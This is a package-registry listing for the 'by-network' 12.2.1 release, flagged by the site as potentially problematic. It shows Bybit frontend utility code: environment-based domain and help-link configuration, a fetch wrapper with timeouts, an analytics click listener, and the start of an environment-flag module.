by-network 12.2.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of by-network might be problematic. Click here for more details.
- package/by-dynamic-domain.es.js +238 -0
- package/by-fetch.es.js +252 -0
- package/by-gtm.js +49 -0
- package/by-network.js +7 -0
- package/env.js +101 -0
- package/index.js +14 -0
- package/package.json +12 -0
- package/src/fetch.js +192 -0
- package/src/wsio.js +369 -0
@@ -0,0 +1,238 @@
|
|
1
|
+
import _slicedToArray from '@babel/runtime/helpers/esm/slicedToArray';
|
2
|
+
|
3
|
+
var _window$location = window.location,
|
4
|
+
hostname = _window$location.hostname,
|
5
|
+
protocol = _window$location.protocol;
|
6
|
+
var _process$env = process.env,
|
7
|
+
BYBIT_COOKIE_DOMAIN = _process$env.BYBIT_COOKIE_DOMAIN,
|
8
|
+
BYBIT_API2_HOST = _process$env.BYBIT_API2_HOST,
|
9
|
+
BYBIT_WS2_HOST = _process$env.BYBIT_WS2_HOST;
|
10
|
+
var isSSL = protocol === 'https:';
|
11
|
+
var wsProtocol = isSSL ? 'wss:' : 'ws:'; // default config to dev-3
|
12
|
+
// www.dev-3.bybit.com
|
13
|
+
|
14
|
+
var isDev = true;
|
15
|
+
var env = 'dev-3';
|
16
|
+
var domain = 'bybit';
|
17
|
+
var domainType = 'com';
|
18
|
+
|
19
|
+
if (process.env.NODE_ENV === 'production') {
|
20
|
+
isDev = false;
|
21
|
+
var hostSplits = hostname.split('.');
|
22
|
+
|
23
|
+
if (hostSplits.length === 3) {
|
24
|
+
// www.bybit.com
|
25
|
+
// testnet.bybit.com
|
26
|
+
// m.bybit.com
|
27
|
+
// m-testnet.bybit.com
|
28
|
+
var _hostSplits = _slicedToArray(hostSplits, 3);
|
29
|
+
|
30
|
+
env = _hostSplits[0];
|
31
|
+
domain = _hostSplits[1];
|
32
|
+
domainType = _hostSplits[2];
|
33
|
+
}
|
34
|
+
|
35
|
+
if (hostSplits.length === 4) {
|
36
|
+
// www.dev-3.bybit.com
|
37
|
+
// m.dev-3.bybit.com
|
38
|
+
var _hostSplits2 = _slicedToArray(hostSplits, 4);
|
39
|
+
|
40
|
+
env = _hostSplits2[1];
|
41
|
+
domain = _hostSplits2[2];
|
42
|
+
domainType = _hostSplits2[3];
|
43
|
+
}
|
44
|
+
}
|
45
|
+
|
46
|
+
var isDevNeedSSL = isDev && (env === 'dev-3' || env === 'test-3');
|
47
|
+
/**
|
48
|
+
* env can be 1 of [
|
49
|
+
* 'www',
|
50
|
+
* 'm',
|
51
|
+
* 'testnet', 'm-testnet'
|
52
|
+
* 'test-1', 'test-2', 'test-3,
|
53
|
+
* 'dev-1', 'dev-2', 'dev-3'
|
54
|
+
* ] etc.
|
55
|
+
*/
|
56
|
+
|
57
|
+
var envReg = /^(www|m)$/;
|
58
|
+
var isProdOrTestnetReg = /^(www|m|testnet|m-testnet)$/;
|
59
|
+
var isTestnet = env === 'testnet' || env === 'm-testnet';
|
60
|
+
var cdnStaticProd = 's1.bycsi.com';
|
61
|
+
var cdnStatic = isTestnet ? 't1.bycsi.com' : cdnStaticProd;
|
62
|
+
var isProd = isProdOrTestnetReg.test(env);
|
63
|
+
var DYNAMIC_ENV = env;
|
64
|
+
var currentDomain = "".concat(domain, ".").concat(domainType);
|
65
|
+
var api2ServicePrefix = "api2.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
|
66
|
+
var ws2ServicePrefix = "ws2.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
|
67
|
+
var chatPrefix = "chat.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
|
68
|
+
|
69
|
+
if (isTestnet) {
|
70
|
+
api2ServicePrefix = 'api2-testnet.';
|
71
|
+
chatPrefix = 'chat-testnet.';
|
72
|
+
ws2ServicePrefix = 'ws2-testnet.';
|
73
|
+
}
|
74
|
+
|
75
|
+
var tmsPath = '';
|
76
|
+
|
77
|
+
if (!isProd) {
|
78
|
+
tmsPath = 'https://tms-internal.bybit.com';
|
79
|
+
}
|
80
|
+
|
81
|
+
var affiliatesPrefix = 'affiliates.';
|
82
|
+
|
83
|
+
if (isTestnet || !isProd) {
|
84
|
+
affiliatesPrefix = 'affiliates-testnet.';
|
85
|
+
}
|
86
|
+
|
87
|
+
var AFFILIATES_HOST = "https://".concat(affiliatesPrefix).concat(domain, ".").concat(domainType);
|
88
|
+
var api2Prefix = api2ServicePrefix;
|
89
|
+
var ws2Prefix = ws2ServicePrefix;
|
90
|
+
var DOMAIN = domain;
|
91
|
+
var DOMAIN_TYPE = domainType;
|
92
|
+
var TOKEN_COOKIE_KEY = BYBIT_COOKIE_DOMAIN || "b_t_c_k".concat(envReg.test(env) ? '' : "_".concat(env));
|
93
|
+
var CDN_STATIC_PROD = "https://".concat(cdnStaticProd);
|
94
|
+
var CDN_STATIC = "https://".concat(cdnStatic);
|
95
|
+
var CHAT_URL = "".concat(protocol, "//").concat(chatPrefix).concat(domain, ".").concat(domainType, "/chat/by-chat-widget.js");
|
96
|
+
var apiProtocol = isDevNeedSSL ? 'https:' : protocol;
|
97
|
+
var ws2Protocol = isDevNeedSSL ? 'wss:' : wsProtocol;
|
98
|
+
var API2_HOST = BYBIT_API2_HOST || "".concat(protocol, "//").concat(api2Prefix).concat(domain, ".").concat(domainType);
|
99
|
+
var WS2_HOST = BYBIT_WS2_HOST || "".concat(ws2Protocol, "//").concat(ws2Prefix).concat(domain, ".").concat(domainType);
|
100
|
+
var TMS_HOST = process.env.BYBIT_TMS_HOST || tmsPath; // export const ZENDESK_HOST = 'https://bybit.zendesk.com';
|
101
|
+
|
102
|
+
var ZENDESK_HOST = "https://help.".concat(domain, ".com");
|
103
|
+
var BLOG_HOST = "https://blog.".concat(domain, ".com"); // zendesk urls
|
104
|
+
|
105
|
+
var zBaseLink = "".concat(ZENDESK_HOST, "/hc");
|
106
|
+
var helpLang = {
|
107
|
+
'en-US': 'en-us',
|
108
|
+
'zh-CN': 'zh-cn',
|
109
|
+
'zh-TW': 'zh-tw',
|
110
|
+
'ja-JP': 'ja',
|
111
|
+
'ko-KR': 'ko',
|
112
|
+
'ru-RU': 'en-us',
|
113
|
+
'vi-VN': 'en-us'
|
114
|
+
}; // 标记价格
|
115
|
+
|
116
|
+
var zMarkPrice = function zMarkPrice(lang) {
|
117
|
+
var help = helpLang[lang] || 'en-us';
|
118
|
+
var link = {
|
119
|
+
'en-US': "/".concat(help, "/articles/360039261074-What-is-Dual-Price-mechanism-"),
|
120
|
+
'zh-CN': "/".concat(help, "/articles/360039261074-\u4EC0\u4E48\u662F\u53CC\u5957\u4EF7\u683C\u673A\u5236-"),
|
121
|
+
'zh-TW': "/".concat(help, "/articles/360039261074-\u4EC0\u9EBC\u662F\u96D9\u5957\u50F9\u683C\u6A5F\u5236-"),
|
122
|
+
'ja-JP': "/".concat(help, "/articles/360039261074-\u4E8C\u91CD\u4FA1\u683C\u30E1\u30AB\u30CB\u30BA\u30E0-\u516C\u6B63\u4FA1\u683C\u30DE\u30FC\u30AD\u30F3\u30B0\u3068\u306F-"),
|
123
|
+
'ko-KR': "/".concat(help, "/articles/360039261074-\uC774\uC911-\uAC00\uACA9-\uC2DC\uC2A4\uD15C")
|
124
|
+
}[lang] || "/".concat(help, "/articles/360039261074-What-is-Dual-Price-mechanism-");
|
125
|
+
return "".concat(zBaseLink).concat(link);
|
126
|
+
}; // 反向强平价格
|
127
|
+
|
128
|
+
var zLiquidation = function zLiquidation(lang) {
|
129
|
+
var help = helpLang[lang] || 'en-us';
|
130
|
+
var link = {
|
131
|
+
'en-US': "/".concat(help, "/articles/360039261334-How-to-calculate-Liquidation-Price-Inverse-Contract-"),
|
132
|
+
'zh-CN': "/".concat(help, "/articles/360039261334-\u5F3A\u5E73\u4EF7\u683C\u8BA1\u7B97-\u53CD\u5411\u6C38\u7EED-"),
|
133
|
+
'zh-TW': "/".concat(help, "/articles/360039261334-\u5F37\u5E73\u50F9\u683C\u8A08\u7B97-\u53CD\u5411\u6C38\u7E8C-"),
|
134
|
+
'ja-JP': "/".concat(help, "/articles/360039261334-\u5F37\u5236\u6C7A\u6E08\u3068\u306F\u4F55\u3067\u3059\u304B-\u30A4\u30F3\u30D0\u30FC\u30B9\u578B\u5951\u7D04-"),
|
135
|
+
'ko-KR': "/".concat(help, "/articles/360039261334-\uAC15\uC81C\uCCAD\uC0B0\uC774\uB780-\uC778\uBC84\uC2A4-\uBB34\uAE30\uD55C-")
|
136
|
+
}[lang] || "/".concat(help, "/articles/360039261334-How-to-calculate-Liquidation-Price-Inverse-Contract-");
|
137
|
+
return "".concat(zBaseLink).concat(link);
|
138
|
+
}; // 正向强平价格
|
139
|
+
|
140
|
+
var zLinearLiquidation = function zLinearLiquidation(lang) {
|
141
|
+
var help = helpLang[lang] || 'en-us';
|
142
|
+
var link = {
|
143
|
+
'en-US': "/".concat(help, "/articles/900000181046-Liquidation-Price-USDT-Contract-"),
|
144
|
+
'zh-CN': "/".concat(help, "/articles/900000181046-\u5F3A\u5E73\u4EF7\u683C\u8BA1\u7B97-USDT\u6C38\u7EED-"),
|
145
|
+
'zh-TW': "/".concat(help, "/articles/900000181046-\u5F37\u5E73\u50F9\u683C\u8A08\u7B97-USDT\u6C38\u7E8C-"),
|
146
|
+
'ja-JP': "/".concat(help, "/articles/900000181046-USDT\u7121\u671F\u9650\u5951\u7D04\u3067\u306E\u5F37\u5236\u6C7A\u6E08\u4FA1\u683C"),
|
147
|
+
'ko-KR': "/".concat(help, "/articles/900000181046-\uAC15\uC81C\uCCAD\uC0B0-\uAC00\uACA9-\uACC4\uC0B0\uBC29\uBC95-USDT\uACC4\uC57D-")
|
148
|
+
}[lang] || "/".concat(help, "/articles/900000181046-Liquidation-Price-USDT-Contract-");
|
149
|
+
return "".concat(zBaseLink).concat(link);
|
150
|
+
}; // 风险限额
|
151
|
+
|
152
|
+
var zRiskLimit = function zRiskLimit(lang) {
|
153
|
+
var help = helpLang[lang] || 'en-us';
|
154
|
+
var link = {
|
155
|
+
'en-US': "/".concat(help, "/articles/360039749753"),
|
156
|
+
'zh-CN': "/".concat(help, "/articles/360039749753"),
|
157
|
+
'zh-TW': "/".concat(help, "/articles/360039749753"),
|
158
|
+
'ja-JP': "/".concat(help, "/articles/360039749753"),
|
159
|
+
'ko-KR': "/".concat(help, "/articles/360039749753")
|
160
|
+
}[lang] || "/".concat(help, "/articles/360039749753");
|
161
|
+
return "".concat(zBaseLink).concat(link);
|
162
|
+
}; // 交易费用, 反向永续/正向永续
|
163
|
+
|
164
|
+
var TFEEURL = function TFEEURL(lang) {
|
165
|
+
var help = helpLang[lang] || 'en-us';
|
166
|
+
var link = {
|
167
|
+
'en-US': "/".concat(help, "/articles/360039261154"),
|
168
|
+
'zh-CN': "/".concat(help, "/articles/360039261154"),
|
169
|
+
'zh-TW': "/".concat(help, "/articles/360039261154"),
|
170
|
+
'ja-JP': "/".concat(help, "/articles/360039261154"),
|
171
|
+
'ko-KR': "/".concat(help, "/articles/360039261154"),
|
172
|
+
'ru-RU': "/".concat(help, "/articles/360039261154")
|
173
|
+
}[lang] || "/".concat(help, "/articles/360039261154");
|
174
|
+
return "".concat(zBaseLink).concat(link);
|
175
|
+
}; // 交易费用, 反向交割
|
176
|
+
|
177
|
+
var FITFEEURL = function FITFEEURL(lang) {
|
178
|
+
var help = helpLang[lang] || 'en-us';
|
179
|
+
var link = {
|
180
|
+
'en-US': "/".concat(help, "/articles/900003221726"),
|
181
|
+
'zh-CN': "/".concat(help, "/articles/900003221726"),
|
182
|
+
'zh-TW': "/".concat(help, "/articles/900003221726"),
|
183
|
+
'ja-JP': "/".concat(help, "/articles/900003221726"),
|
184
|
+
'ko-KR': "/".concat(help, "/articles/900003221726"),
|
185
|
+
'ru-RU': "/".concat(help, "/articles/900003221726")
|
186
|
+
}[lang] || "/".concat(help, "/articles/900003221726");
|
187
|
+
return "".concat(zBaseLink).concat(link);
|
188
|
+
}; // 资金费率计算
|
189
|
+
|
190
|
+
var FFEEURL = function FFEEURL(lang) {
|
191
|
+
var help = helpLang[lang] || 'en-us';
|
192
|
+
var link = {
|
193
|
+
'en-US': "/".concat(help, "/articles/360039261114"),
|
194
|
+
'zh-CN': "/".concat(help, "/articles/360039261114"),
|
195
|
+
'zh-TW': "/".concat(help, "/articles/360039261114"),
|
196
|
+
'ja-JP': "/".concat(help, "/articles/360039261114"),
|
197
|
+
'ko-KR': "/".concat(help, "/articles/360039261114"),
|
198
|
+
'ru-RU': "/".concat(help, "/articles/360039261114")
|
199
|
+
}[lang] || "/".concat(help, "/articles/360039261114");
|
200
|
+
return "".concat(zBaseLink).concat(link);
|
201
|
+
}; // 指数价格
|
202
|
+
|
203
|
+
var INDEXPRICEURL = function INDEXPRICEURL(lang) {
|
204
|
+
var help = helpLang[lang] || 'en-us';
|
205
|
+
var link = {
|
206
|
+
'en-US': "/".concat(help, "/articles/360039261094"),
|
207
|
+
'zh-CN': "/".concat(help, "/articles/360039261094"),
|
208
|
+
'zh-TW': "/".concat(help, "/articles/360039261094"),
|
209
|
+
'ja-JP': "/".concat(help, "/articles/360039261094"),
|
210
|
+
'ko-KR': "/".concat(help, "/articles/360039261094"),
|
211
|
+
'ru-RU': "/".concat(help, "/articles/360039261094")
|
212
|
+
}[lang] || "/".concat(help, "/articles/360039261094");
|
213
|
+
return "".concat(zBaseLink).concat(link);
|
214
|
+
}; // 交割 指数价格
|
215
|
+
|
216
|
+
var FUTUREINDEXPRICEURL = function FUTUREINDEXPRICEURL(lang) {
|
217
|
+
var help = helpLang[lang] || 'en-us';
|
218
|
+
var link = {
|
219
|
+
'en-US': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
|
220
|
+
'zh-CN': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
|
221
|
+
'zh-TW': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
|
222
|
+
'ja-JP': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
|
223
|
+
'ko-KR': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
|
224
|
+
'ru-RU': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-")
|
225
|
+
}[lang] || "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-");
|
226
|
+
return "".concat(zBaseLink).concat(link);
|
227
|
+
};
|
228
|
+
var exportUrl = isProd ? 'https://public.bybit.com' : process.env.BYBIT_EXPORT_URL;
|
229
|
+
|
230
|
+
export { AFFILIATES_HOST, API2_HOST, BLOG_HOST, CDN_STATIC, CDN_STATIC_PROD, CHAT_URL, DOMAIN, DOMAIN_TYPE, DYNAMIC_ENV, FFEEURL, FITFEEURL, FUTUREINDEXPRICEURL, INDEXPRICEURL, TFEEURL, TMS_HOST, TOKEN_COOKIE_KEY, WS2_HOST, ZENDESK_HOST, api2Prefix, apiProtocol, cdnStatic, currentDomain, exportUrl, helpLang, isProd, ws2Prefix, ws2Protocol, zBaseLink, zLinearLiquidation, zLiquidation, zMarkPrice, zRiskLimit };
|
231
|
+
|
232
|
+
|
233
|
+
|
234
|
+
//////////////////
|
235
|
+
// WEBPACK FOOTER
|
236
|
+
// ./node_modules/by-data-pool/node_modules/by-dynamic-domain/dist/by-dynamic-domain.es.js
|
237
|
+
// module id = null
|
238
|
+
// module chunks =
|
package/by-fetch.es.js
ADDED
@@ -0,0 +1,252 @@
|
|
1
|
+
import _objectSpread from '@babel/runtime/helpers/esm/objectSpread2';
|
2
|
+
import _classCallCheck from '@babel/runtime/helpers/esm/classCallCheck';
|
3
|
+
import _createClass from '@babel/runtime/helpers/esm/createClass';
|
4
|
+
|
5
|
+
/**
|
6
|
+
* Detect weather
|
7
|
+
*/
|
8
|
+
var canAbortFetch = null; // Window cannot be used in web worker
|
9
|
+
|
10
|
+
try {
|
11
|
+
canAbortFetch = 'AbortController' in window;
|
12
|
+
} catch (_) {
|
13
|
+
canAbortFetch = null;
|
14
|
+
}
|
15
|
+
/**
|
16
|
+
* Default response type for module
|
17
|
+
*/
|
18
|
+
|
19
|
+
|
20
|
+
var DEFAULT_RESP_TYPE = 'json';
|
21
|
+
/**
|
22
|
+
* Default timeout time
|
23
|
+
*/
|
24
|
+
|
25
|
+
var DEFAULT_TIMEOUT = 30000; // 30s
|
26
|
+
|
27
|
+
/**
|
28
|
+
* Get an check the responseType user sets.
|
29
|
+
*/
|
30
|
+
|
31
|
+
var getResponseType = function getResponseType(type) {
|
32
|
+
var validType = String(type).toLowerCase();
|
33
|
+
var types = {
|
34
|
+
json: true,
|
35
|
+
text: true,
|
36
|
+
formData: true,
|
37
|
+
blob: true,
|
38
|
+
arrayBuffer: true
|
39
|
+
};
|
40
|
+
return types[validType] ? validType : DEFAULT_RESP_TYPE;
|
41
|
+
};
|
42
|
+
/**
|
43
|
+
* Fetch class used to create new fetch instance
|
44
|
+
*
|
45
|
+
* @author lucky.zhou
|
46
|
+
* @class
|
47
|
+
*/
|
48
|
+
|
49
|
+
|
50
|
+
var Fetch = /*#__PURE__*/function () {
|
51
|
+
function Fetch() {
|
52
|
+
var defaultConfig = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
|
53
|
+
var settings = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
|
54
|
+
|
55
|
+
_classCallCheck(this, Fetch);
|
56
|
+
|
57
|
+
this.defaultOpts = defaultConfig;
|
58
|
+
this.timeout = settings.timeout || DEFAULT_TIMEOUT;
|
59
|
+
this.interceptors = {
|
60
|
+
response: [],
|
61
|
+
request: [],
|
62
|
+
errorHandler: [],
|
63
|
+
finally: []
|
64
|
+
};
|
65
|
+
}
|
66
|
+
|
67
|
+
_createClass(Fetch, [{
|
68
|
+
key: "get",
|
69
|
+
value: function get(url) {
|
70
|
+
var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
|
71
|
+
var respType = arguments.length > 2 ? arguments[2] : undefined;
|
72
|
+
var nUrl = url;
|
73
|
+
|
74
|
+
if (opts.body) {
|
75
|
+
var params = opts.body;
|
76
|
+
var keys = Object.keys(params);
|
77
|
+
keys.forEach(function (key) {
|
78
|
+
var param = "".concat(key, "=").concat(params[key]);
|
79
|
+
nUrl = nUrl.indexOf('?') > -1 ? "".concat(nUrl, "&").concat(param) : "".concat(nUrl, "?").concat(param);
|
80
|
+
});
|
81
|
+
delete opts.body;
|
82
|
+
}
|
83
|
+
|
84
|
+
return this.fetch(nUrl, _objectSpread(_objectSpread({}, opts), {}, {
|
85
|
+
method: 'get'
|
86
|
+
}), respType);
|
87
|
+
}
|
88
|
+
}, {
|
89
|
+
key: "post",
|
90
|
+
value: function post(url) {
|
91
|
+
var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
|
92
|
+
var respType = arguments.length > 2 ? arguments[2] : undefined;
|
93
|
+
return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
|
94
|
+
method: 'post'
|
95
|
+
}), respType);
|
96
|
+
}
|
97
|
+
}, {
|
98
|
+
key: "delete",
|
99
|
+
value: function _delete(url) {
|
100
|
+
var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
|
101
|
+
var respType = arguments.length > 2 ? arguments[2] : undefined;
|
102
|
+
return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
|
103
|
+
method: 'delete'
|
104
|
+
}), respType);
|
105
|
+
}
|
106
|
+
}, {
|
107
|
+
key: "put",
|
108
|
+
value: function put(url) {
|
109
|
+
var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
|
110
|
+
var respType = arguments.length > 2 ? arguments[2] : undefined;
|
111
|
+
return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
|
112
|
+
method: 'put'
|
113
|
+
}), respType);
|
114
|
+
}
|
115
|
+
/**
|
116
|
+
* Base function for using default fetch
|
117
|
+
*
|
118
|
+
* @param {string} url The request url
|
119
|
+
* @param {object} options The request options
|
120
|
+
*
|
121
|
+
* @description
|
122
|
+
* `options` follow the w3c fetch options structure
|
123
|
+
* `meta` in `options` used to pass meta info.
|
124
|
+
*
|
125
|
+
* @returns {Promise} The request promise
|
126
|
+
*/
|
127
|
+
|
128
|
+
}, {
|
129
|
+
key: "fetch",
|
130
|
+
value: function (_fetch) {
|
131
|
+
function fetch(_x) {
|
132
|
+
return _fetch.apply(this, arguments);
|
133
|
+
}
|
134
|
+
|
135
|
+
fetch.toString = function () {
|
136
|
+
return _fetch.toString();
|
137
|
+
};
|
138
|
+
|
139
|
+
return fetch;
|
140
|
+
}(function (url) {
|
141
|
+
var _this = this;
|
142
|
+
|
143
|
+
var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
|
144
|
+
var respType = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : DEFAULT_RESP_TYPE;
|
145
|
+
|
146
|
+
var opts = _objectSpread(_objectSpread(_objectSpread({}, this.defaultOpts), options), {}, {
|
147
|
+
headers: _objectSpread(_objectSpread({}, this.defaultOpts.headers), options.headers)
|
148
|
+
}); // to use chained options in interceptors array
|
149
|
+
|
150
|
+
|
151
|
+
var hackedOpts = this.interceptors.request.reduce(function (prev, cur) {
|
152
|
+
return cur(prev, url);
|
153
|
+
}, opts);
|
154
|
+
var timeoutTimer;
|
155
|
+
var fetchController = canAbortFetch ? new AbortController() : {};
|
156
|
+
hackedOpts.signal = fetchController.signal;
|
157
|
+
/**
|
158
|
+
* timeout promise to abort request if necessary
|
159
|
+
*/
|
160
|
+
|
161
|
+
var abortPromise = new Promise(function (resolve, reject) {
|
162
|
+
timeoutTimer = setTimeout(function () {
|
163
|
+
// Must reject first here!
|
164
|
+
// eslint-disable-next-line
|
165
|
+
reject({
|
166
|
+
ret_code: 9000001,
|
167
|
+
ret_msg: 'Request timeout, please re-try!'
|
168
|
+
});
|
169
|
+
/* istanbul ignore next */
|
170
|
+
|
171
|
+
if (canAbortFetch) fetchController.abort();
|
172
|
+
}, _this.timeout);
|
173
|
+
});
|
174
|
+
/**
|
175
|
+
* real fetch request promise
|
176
|
+
*/
|
177
|
+
|
178
|
+
var fetchPromise = fetch(url, hackedOpts);
|
179
|
+
return Promise.race([fetchPromise, abortPromise]) // 1. clear timeout timer
|
180
|
+
.then(function (resp) {
|
181
|
+
clearTimeout(timeoutTimer);
|
182
|
+
return resp;
|
183
|
+
}) // 2. transform response data type and return
|
184
|
+
.then(function (resp) {
|
185
|
+
if (resp.status >= 400) return Promise.reject({
|
186
|
+
status: resp.status
|
187
|
+
});
|
188
|
+
return resp.ok && resp[getResponseType(respType)]();
|
189
|
+
}) // 3. handle response interceptors transform and return new data
|
190
|
+
.then(function (data) {
|
191
|
+
return _this.interceptors.response.reduce(function (prev, cur) {
|
192
|
+
return prev.then(cur);
|
193
|
+
}, Promise.resolve({
|
194
|
+
data: data,
|
195
|
+
config: hackedOpts,
|
196
|
+
url: url
|
197
|
+
}));
|
198
|
+
}).catch(function (err) {
|
199
|
+
_this.interceptors.errorHandler.forEach(function (fn) {
|
200
|
+
return fn(err, hackedOpts, url);
|
201
|
+
}); // throw err;
|
202
|
+
|
203
|
+
|
204
|
+
return Promise.reject(err);
|
205
|
+
}).finally(function () {
|
206
|
+
_this.interceptors.finally.forEach(function (fn) {
|
207
|
+
return fn();
|
208
|
+
});
|
209
|
+
});
|
210
|
+
})
|
211
|
+
}]);
|
212
|
+
|
213
|
+
return Fetch;
|
214
|
+
}();
|
215
|
+
/**
|
216
|
+
* Fetch instance factory function
|
217
|
+
*
|
218
|
+
* @param {object} cfg The request options for every request
|
219
|
+
* @param {object} settings The fetch settings for controller
|
220
|
+
*/
|
221
|
+
|
222
|
+
|
223
|
+
var createFetchInstance = function createFetchInstance() {
|
224
|
+
var opts = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
|
225
|
+
var settings = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
|
226
|
+
|
227
|
+
/* istanbul ignore next */
|
228
|
+
if (!('fetch' in window)) {
|
229
|
+
// eslint-disable-next-line
|
230
|
+
console.error('fetch function doesn\'t detected in you environment');
|
231
|
+
return null;
|
232
|
+
}
|
233
|
+
|
234
|
+
var instance = new Fetch(opts, settings);
|
235
|
+
var rawFetch = instance.fetch.bind(instance);
|
236
|
+
rawFetch.get = instance.get.bind(instance);
|
237
|
+
rawFetch.post = instance.post.bind(instance);
|
238
|
+
rawFetch.put = instance.put.bind(instance);
|
239
|
+
rawFetch.delete = instance.delete.bind(instance);
|
240
|
+
rawFetch.interceptors = instance.interceptors;
|
241
|
+
return rawFetch;
|
242
|
+
};
|
243
|
+
|
244
|
+
export default createFetchInstance;
|
245
|
+
|
246
|
+
|
247
|
+
|
248
|
+
//////////////////
|
249
|
+
// WEBPACK FOOTER
|
250
|
+
// ./node_modules/by-fetch/dist/by-fetch.es.js
|
251
|
+
// module id = iZRq
|
252
|
+
// module chunks = 70
|
package/by-gtm.js
ADDED
@@ -0,0 +1,49 @@
|
|
1
|
+
/* eslint-disable */
|
2
|
+
|
3
|
+
/**
|
4
|
+
* @global dataLayer can be filled info and send to Google Tag Manager.
|
5
|
+
*/
|
6
|
+
window.dataLayer = window.dataLayer || [];
|
7
|
+
|
8
|
+
/**
|
9
|
+
* @function pushEvent - Sendout data ,needs three params:
|
10
|
+
* @param {string} eventAction
|
11
|
+
* @param {string} eventCategory
|
12
|
+
* @param {string} eventLabel
|
13
|
+
*/
|
14
|
+
const pushEvent = (eventAction, eventCategory, eventLabel) => {
|
15
|
+
window.dataLayer.push({ event: "GAEvent", eventAction, eventCategory, eventLabel });
|
16
|
+
};
|
17
|
+
|
18
|
+
/**
|
19
|
+
* At first listen page, second get variable buried`s value,then sendout data
|
20
|
+
* @variable {string} buried - comes from the clicked html tag.
|
21
|
+
* @param {Array} buriedValArr - at least 3 params
|
22
|
+
* Usage: set property at html tags. <div data-buried="'action','category','label'"></div>
|
23
|
+
*/
|
24
|
+
export const addGtmListener = () => {
|
25
|
+
document.addEventListener(
|
26
|
+
"click",
|
27
|
+
function(e) {
|
28
|
+
const { buried } = e.target.dataset;
|
29
|
+
if (!buried) return;
|
30
|
+
const buriedArr = buried.split(",");
|
31
|
+
pushEvent(...buriedArr);
|
32
|
+
},
|
33
|
+
true,
|
34
|
+
);
|
35
|
+
};
|
36
|
+
|
37
|
+
/**
|
38
|
+
* Export event to use it in the method.
|
39
|
+
* Usage: pushEvent('action','category','label')
|
40
|
+
*/
|
41
|
+
export default pushEvent;
|
42
|
+
|
43
|
+
|
44
|
+
|
45
|
+
//////////////////
|
46
|
+
// WEBPACK FOOTER
|
47
|
+
// ./node_modules/by-gtm/index.js
|
48
|
+
// module id = +gEr
|
49
|
+
// module chunks = 65
|
package/by-network.js
ADDED
package/env.js
ADDED
@@ -0,0 +1,101 @@
|
|
1
|
+
var _window$location = window.location,
|
2
|
+
hostname = _window$location.hostname,
|
3
|
+
protocol = _window$location.protocol; // 运行环境根据域名判断
|
4
|
+
|
5
|
+
export var isProdOrTestnet = /^[^.]+\.[^.]+\.[^.]+$/.test(hostname);
|
6
|
+
export var isTestnet = isProdOrTestnet && /^[^.]*testnet[^.]*\./.test(hostname);
|
7
|
+
export var isProd = isProdOrTestnet && !isTestnet;
|
8
|
+
export var isTest = !isTestnet && !isProd;
|
9
|
+
export var isDev = isTest;
|
10
|
+
export var isSSL = protocol === 'https:';
|
11
|
+
/* (START) Just for Automan
|
12
|
+
以下代码与业务template 以及 automan功能脚本注入 联动,关联性暂时依赖人为维护,可维护性待升级
|
13
|
+
*/
|
14
|
+
// eslint-disable-next-line no-underscore-dangle
|
15
|
+
|
16
|
+
var globalConfig = window.__BYBIT_GLOBAL_CONFIG__ || {};
|
17
|
+
var ac = globalConfig.enableAutoman && globalConfig.automan || {};
|
18
|
+
export var ENV_RUNTIME_ENV = ac.AUTOMAN_RUNTIME_ENV; // 接口相关
|
19
|
+
|
20
|
+
export var ENV_API2_HOST = ac.AUTOMAN_API2_HOST;
|
21
|
+
export var ENV_WS2_HOST = ac.AUTOMAN_WS2_HOST; // 翻译
|
22
|
+
|
23
|
+
export var ENV_TMS_HOST = ac.AUTOMAN_TMS_HOST;
|
24
|
+
export var ENV_TMS_PATH = ac.AUTOMAN_TMS_PATH;
|
25
|
+
export var ENV_TMS_FULL_PATH = ac.AUTOMAN_TMS_FULL_PATH; // 线路切换
|
26
|
+
|
27
|
+
export var ENV_SERVICE_DOMAINS = ac.AUTOMAN_SERVICE_DOMAINS; // apm
|
28
|
+
|
29
|
+
export var ENV_APM_ENABLED = ac.AUTOMAN_APM_ENABLED;
|
30
|
+
export var ENV_APM_URL = ac.AUTOMAN_APM_URL; // sentry
|
31
|
+
|
32
|
+
export var ENV_SENTRY_ENABLED = ac.AUTOMAN_SENTRY_ENABLED;
|
33
|
+
export var ENV_SENTRY_DSN = ac.AUTOMAN_SENTRY_DSN; // Logger
|
34
|
+
|
35
|
+
export var ENV_LOGGER_ENABLED = ac.AUTOMAN_LOGGER_ENABLED;
|
36
|
+
export var ENV_LOGGER_URL = ac.AUTOMAN_LOGGER_URL; // Metric
|
37
|
+
|
38
|
+
export var ENV_METRIC_URL = ac.AUTOMAN_METRIC_URL;
|
39
|
+
export var ENV_METRIC_ENABLED = ac.AUTOMAN_METRIC_ENABLED;
|
40
|
+
/* 以上代码与业务template 以及 automan功能脚本注入 联动,关联性暂时依赖人为维护,可维护性待升级
|
41
|
+
(END) Just for Automan
|
42
|
+
*/
|
43
|
+
// runtime env 代替原来jenkins中的构建常量BUILD_ENV
|
44
|
+
|
45
|
+
var runtimeEnv = 'local';
|
46
|
+
|
47
|
+
if (isTestnet) {
|
48
|
+
runtimeEnv = 'testnet';
|
49
|
+
